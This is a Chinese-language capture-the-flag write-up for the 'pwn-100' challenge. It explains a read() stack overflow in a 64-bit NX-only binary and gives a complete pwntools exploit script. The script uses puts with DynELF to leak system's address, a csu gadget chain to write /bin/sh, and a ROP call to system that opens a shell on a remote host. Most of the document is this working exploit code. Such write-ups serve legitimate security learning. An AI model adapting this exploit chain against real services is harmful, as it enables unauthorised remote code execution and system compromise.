pwn-100

题目地址

本文参考

 

64位的程序,并且只有NX防护

pwn-100_第1张图片

 用IDA可以看到主要的函数在sub_40063D,其中的参数从sub_40068E传入

pwn-100_第2张图片

 那么a1就是v1,大小为0x40

a2就是200

pwn-100_第3张图片

 题目存在read栈溢出漏洞,没有给libc,也没有直接利用的后门函数

但是有puts函数可以利用DynELF来泄露system函数,再用ROP链写入/bin/sh,调用system(/bin/sh)

 

在x64的程序中,传参方式不同于x86,x64优先采用寄存器rdi, rsi, rdx, rcx, r8, r9,超过部分和x86一样用压栈形式传参

因为puts只需要一个参数,所以我们要先找到pop rdi

 找到写入/bin/sh的地址

这里需要用到x64通用gadget,具体参考这里

脚本如下

from pwn import *
r = remote('111.198.29.45',56808)
# r = process("./pwn100")
elf = ELF("./pwn100")

rop1 = 0x40075A
rop2 = 0x400740
rdi_ret = 0x400763
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601000


def leak(addr):
  payload = "a" * 0x48 + p64(rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
  payload = payload.ljust(200, "a")
  r.send(payload)
  r.recvuntil("bye~\n")
  up = ""
  content = ""
  count = 0
  while True:
    c = r.recv(numb=1, timeout=0.5)
    count += 1
    if up == '\n' and c == "":
        content = content[:-1] + '\x00'
        break
    else:
        content += c
        up = c
  content = content[:4]
  log.info("%#x => %s" % (addr, (content or '').encode('hex')))
  return content

d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)

payload  = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)+"\x00" * 56+p64(start_addr)
payload  = payload.ljust(200, "a")
r.send(payload)
r.recvuntil("bye~\n")
r.send("/bin/sh\x00")

payload = "a" * 0x48 + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
r.send(payload)

r.interactive()

你可能感兴趣的